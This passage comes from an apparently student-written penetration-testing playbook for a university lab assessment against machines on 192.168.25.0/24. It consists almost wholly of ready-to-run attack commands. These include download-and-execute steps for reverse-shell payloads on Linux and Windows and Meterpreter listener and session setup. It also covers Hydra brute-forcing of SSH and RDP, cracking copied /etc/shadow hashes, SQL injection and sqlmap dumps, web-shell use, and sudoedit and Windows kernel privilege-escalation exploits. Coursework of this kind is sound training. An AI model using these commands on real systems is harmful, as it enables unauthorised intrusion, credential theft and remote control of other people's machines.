wget http://192.168.25.100:8000/reversetcp -O /tmp/payload
chmod +x /tmp/payload
/tmp/payload
```

```
# Windows (from cmd.exe):
powershell -Command "Invoke-WebRequest -Uri http://192.168.25.100:8000/reversetcp.exe -OutFi
C:\Users\Public\Downloads\payload.exe
```

8.3 Meterpreter Listener Setup

```
msfconsole

# For Linux targets
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 4444
run

# For Windows targets (different port)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 5555
run
```

8.4 Meterpreter Session Management

```
# Inside meterpreter session
help  # View available commands

# Background session
background

# List all sessions
sessions -l

# Resume specific session
sessions -i 1

# Kill session
sessions -k 1

# Useful meterpreter commands
sysinfo
getuid
ps
migrate PID
upload /local/file /remote/path
```

```
download /remote/file /local/path
shell
exit
```

8.5 Post-Exploitation: Local Exploit Suggester

```
# From meterpreter session, background it
background

# Use local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Choose highest-ranked exploit
use exploit/linux/local/sudoedit_bypass_privesc
set SESSION 1
set LHOST 192.168.25.100
set LPORT 4444
exploit

# After successful privesc
getuid
cat /root/proof.txt
```

SECTION 9: CHALLENGE PATTERN WALK-THROUGHS

Pattern 1: FTP Anonymous → SSH → PrivEsc

```
# Step 1: Recon
nmap -sC -sV 192.168.25.110

# Step 2: FTP enumeration
ftp -a 192.168.25.110
get password-reminder.txt
bye
cat password-reminder.txt

# Step 3: Hydra SSH brute-force
echo "bob" > userlist.txt
hydra -V -L userlist.txt -P passlist.txt -t 2 ssh://192.168.25.110
```

```
# Step 4: SSH login
ssh bob@192.168.25.110

# Step 5: Read flag (or PrivEsc if needed)
cat proof.txt
sudo -l
```

Pattern 2: FTP → SSH → Hash Cracking

```
# Step 1: Copy passwd and shadow
scp user@192.168.25.120:/etc/passwd .
scp user@192.168.25.120:/etc/shadow .

# Step 2: Unshadow and crack
unshadow passwd shadow > linuxpasswords
john linuxpasswords --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt

# Step 3: SSH with cracked password
john --show linuxpasswords
ssh newuser@192.168.25.120
cat proof.txt
```

Pattern 3: Web App SQL Injection

```
# Step 1: Recon
nmap -sC -sV 192.168.25.130

# Step 2: Web app access
firefox http://192.168.25.130

# Step 3: Identify SQLi vector
# Try: ' OR 1=1 --

# Step 4: Extract database
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='SCC442' -
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username, password FROM users --

# Step 5: Or use sqlmap
sqlmap -u "http://192.168.25.130/search.php?name=test" --batch -D SCC442 -T users --dump

# Step 6: Escalate privileges
' ; UPDATE users SET isadmin=1 WHERE username='student' --

# Step 7: Access admin panel and find flag
```

Pattern 4: OSINT + Web Recon

```
# Step 1: Scan
nmap -sC -sV 192.168.25.140

# Step 2: Web recon
firefox http://192.168.25.140
nikto -host http://192.168.25.140
gobuster dir -u http://192.168.25.140 -w /usr/share/wordlists/dirb/common.txt

# Step 3: Download files
wget http://192.168.25.140/robots.txt
wget http://192.168.25.140/.git/config

# Step 4: Find credentials in web content

# Step 5: SSH with found creds
ssh user@192.168.25.140
cat proof.txt
```

Pattern 5: Linux Sudoedit + Meterpreter PrivEsc

```
# Step 1: FTP enumeration
ftp -a 192.168.25.150
get note.txt

# Step 2: SSH login
ssh antonios@192.168.25.150

# Step 3: Check sudo
sudo -l
# NOPASSWD: /usr/bin/sudoedit

# Option A: Direct sudoedit exploit
SUDO_EDITOR='cat -- /root/proof.txt' sudoedit /home/antonios/.notes.txt

# Option B: Meterpreter
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --format elf -o reversetcp

scp reversetcp antonios@192.168.25.150:/home/antonios/
ssh antonios@192.168.25.150 chmod +x /home/antonios/reversetcp

# Start listener
msfconsole
```

```
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 4444
run

# Execute payload
ssh antonios@192.168.25.150 /home/antonios/reversetcp

# In meterpreter
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
use exploit/linux/local/sudoedit_bypass_privesc
set SESSION 1
exploit
getuid
cat /root/proof.txt
```

Pattern 6: Windows RDP + Local Exploit PrivEsc

```
# Step 1: Recon & OS detection
nmap -sC -sV 192.168.25.160
sudo nmap -Pn -O 192.168.25.160

# Step 2: Download credential lists
wget http://192.168.25.160/pwned-users.txt
wget http://192.168.25.160/pwned-passwords.txt
wget http://192.168.25.160/pwned-colon.txt

# Step 3: Hydra RDP password guessing
hydra -V -f -C pwned-colon.txt -t 1 rdp://192.168.25.160

# Step 4: RDP login
xfreerdp3 /u:Yang /p:pcrack3r /v:192.168.25.160

# Step 5: Check Windows version
ver
systeminfo | findstr /B /C:"OS Version"

# Step 6: Create Windows meterpreter payload
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --format exe -o reversetcp.exe
```

```
# Step 7: Transfer payload via HTTP
python3 -m http.server 8000 &

# In RDP: Download and execute
powershell -Command "Invoke-WebRequest -Uri http://192.168.25.100:8000/reversetcp.exe -OutFi
C:\Users\Yang\Downloads\reversetcp.exe

# Step 8: Start listener
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 5555
run

# Step 9: Local exploit suggester
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
use exploit/windows/local/cve_2023_21768_afd_lpe
set SESSION 1
exploit

# Step 10: Verify root and get flag
getuid
dir C:\
type C:\Users\Public\proof.txt
```

SECTION 10: ON-DEMAND COMMAND GENERATION

When you encounter a specific challenge scenario:

Provide: 1. **Target IP** 2. **nmap output** (all ports and services) 3. **OS type** (Linux/Windows) 4. **Current findings** (creds, hints, files found) 5. **What you tried and result**

I will respond with exact command sequence tailored to your scenario.

SECTION 11: TROUBLESHOOTING & RECOVERY

11.1 SSH Issues

```
# Connection refused
ping 192.168.25.1XX
nmap -p 22 192.168.25.1XX

# Verbose debug
ssh -vvv user@192.168.25.1XX

# Timeout
ssh -o ConnectTimeout=30 user@192.168.25.1XX

# Key permission issues
chmod 600 keyfile.pem
ssh -i keyfile.pem user@192.168.25.1XX
```

11.2 Hydra Issues

```
# Password not found (but sure it's correct)
cat passlist.txt | od -c | head  # Check for hidden chars

# Reduce threads for slow services
hydra -t 1 -L userlist.txt -P passlist.txt ssh://192.168.25.1XX

# Increase wait time
hydra -W 3 -L userlist.txt -P passlist.txt -t 1 rdp://192.168.25.1XX
```

11.3 Meterpreter Session Issues

```
# Session not connecting back
# Verify listener is running (you should see: [*] Started reverse_tcp handler)

# Check LHOST is correct (NOT 127.0.0.1)
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 --format elf -o reversetcp

# Try different LPORT (4444, 5555, 8888, etc.)
```

11.4 SQL Injection Not Working

```
# Try different payloads
' OR 1=1 --
' OR '1'='1
```

```
" OR "1"="1

# Check database type (different syntax)
# MySQL: UNION SELECT ... FROM information_schema.tables
# MSSQL: UNION SELECT ... FROM sys.tables
# SQLite: UNION SELECT ... FROM sqlite_master

# Use sqlmap
sqlmap -u "http://TARGET/page.php?id=1" --batch --dbs
```

11.5 Web Shell Not Executing

```
# Find correct upload directory
gobuster dir -u http://192.168.25.1XX -w /usr/share/wordlists/dirb/common.txt

# Check file permissions
ssh user@192.168.25.1XX ls -la /var/www/html/uploads/shell.php

# Try different extensions
# .php3, .php4, .php5, .phtml, .phar, .inc

# Test shell access via curl
curl "http://192.168.25.1XX/uploads/shell.php?cmd=id"
```

11.6 Decision Tree: "I'm Stuck"

```
1. Do you have ANY shell access (SSH, RDP, web shell)?
   → YES: Skip to 5
   → NO: Continue to 2

2. Did nmap show any open ports?
   → YES: Pick highest-priority port and enumerate
   → NO: Machine might be down, try ping and nmap -Pn

3. Can you enumerate the highest-priority service?
   → SSH: Try Hydra
   → HTTP: Try SQLi, command injection, directory enum
   → FTP: Try anonymous or found creds
   → RDP: Try Hydra

4. Exhausted enumeration?
   → Try lower-priority ports
   → Check HTTP for OSINT
   → Look for backup files (.bak, .sql)
   → Pivot to another machine
```

```
5. Have shell access - what next?
   → Try: cat proof.txt
   → Check: sudo -l
   → Find: SUID binaries, world-writable files
   → Use: local_exploit_suggester (meterpreter)

6. PrivEsc not working?
   → Verify exploit matches OS version exactly
   → Try 2nd or 3rd ranked exploit
   → Check for sudoedit or misconfig

7. Still stuck?
   → Move to next machine
   → Return after capturing flags elsewhere
   → You likely missed a service or enumeration step
```

SECTION 12: QUICK REFERENCE & ALIASES

12.1 Command Aliases (Add to ~/.bashrc)

```
# Quick nmap scans
alias nmap-scan='nmap -sC -sV'
alias nmap-os='sudo nmap -Pn -O'
alias nmap-agg='sudo nmap -A'

# Quick Hydra commands
alias hydra-ssh='hydra -V -L userlist.txt -P passlist.txt -t 4 ssh'
alias hydra-rdp='hydra -V -f -C pwned-colon.txt -t 1 rdp'

# Quick John the Ripper
alias john-linux='john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt'

# Quick meterpreter listeners
alias listener-4444='msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpr
alias listener-5555='msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meter

# Reload aliases
source ~/.bashrc
```

12.2 One-Liner Commands

```
# Quick port scan all 6 challenges
for ip in 110 120 130 140 150 160; do echo "=== 192.168.25.$ip ==="; nmap -sC -sV 192.168.25
```

```
# Start Python HTTP server
python3 -m http.server 8000

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Create reverse shell payload
msfvenom --payload linux/x64/meterpreter/reverse_tcp LHOST=192.168.25.100 LPORT=4444 --forma

# Quick sqlmap
sqlmap -u "http://TARGET/page.php?id=1" --batch --all-dbs
```

12.3 Emergency Checklist (5 minutes before assessment)

```
Kali fully booted
Terminal open, ready for sccvm
Wordlists available: rockyou.txt, common.txt
Metasploit updated: msfconsole --version
SSH key permissions: chmod 600 ~/.ssh/id_rsa
Aliases loaded: grep nmap-scan ~/.bashrc
Screenshot tool ready: Print Screen key
Playbook accessible: This file
```

CYBER KILL CHAIN MAPPING

```
Stage 1: RECONNAISSANCE
  Lab chapters: 3 (OSINT), 4 (Scanning), 5 (Enumeration)
  Tools: nmap, nikto, dirb, gobuster
  Commands: nmap -sC -sV, nikto -host, gobuster dir

Stage 2: WEAPONIZATION
  Lab chapter: 11 (Backdoor creation)
  Tools: msfvenom, gcc, python
  Commands: msfvenom --payload linux/x64/meterpreter/reverse_tcp ...

Stage 3: DELIVERY
  Lab chapter: 11 (Backdoor distribution)
  Methods: HTTP download, SCP transfer, web upload
  Commands: scp, wget, python HTTP server

Stage 4: EXPLOITATION
  Lab chapters: 6 (Web), 9 (Password Guessing), 20 (SQLi), 19 (Command Injection), 21 (XSS),
  Tools: sqlmap, Hydra, custom payloads
  Commands: hydra -L userlist.txt -P passlist.txt ssh://TARGET
```

```
Stage 5: INSTALLATION
  Lab chapter: 11 (Backdoor & meterpreter persistence)
  Methods: meterpreter shell, reverse shell, cron jobs
  Commands: ./reversetcp, migrate process

Stage 6: COMMAND & CONTROL
  Lab chapter: 11 (Meterpreter sessions)
  Tools: msfconsole, meterpreter
  Commands: sessions -l, interact -l, background

Stage 7: ACTIONS ON OBJECTIVES
  Lab chapter: 12 (Privilege Escalation)
  Goal: Read /root/proof.txt or C:\Users\Admin\proof.txt
  Commands: cat /root/proof.txt, sudo -l, local_exploit_suggester
```

Playbook Version: 4.0 – Complete & Integrated
Last Updated: December 11, 2025
For: SCC.442 Individual Penetration Testing Assessment
Network: 192.168.25.0/24 | **Your IP:** 192.168.25.100

Good luck on Friday! Work methodically, document thoroughly, and remember: think before you execute!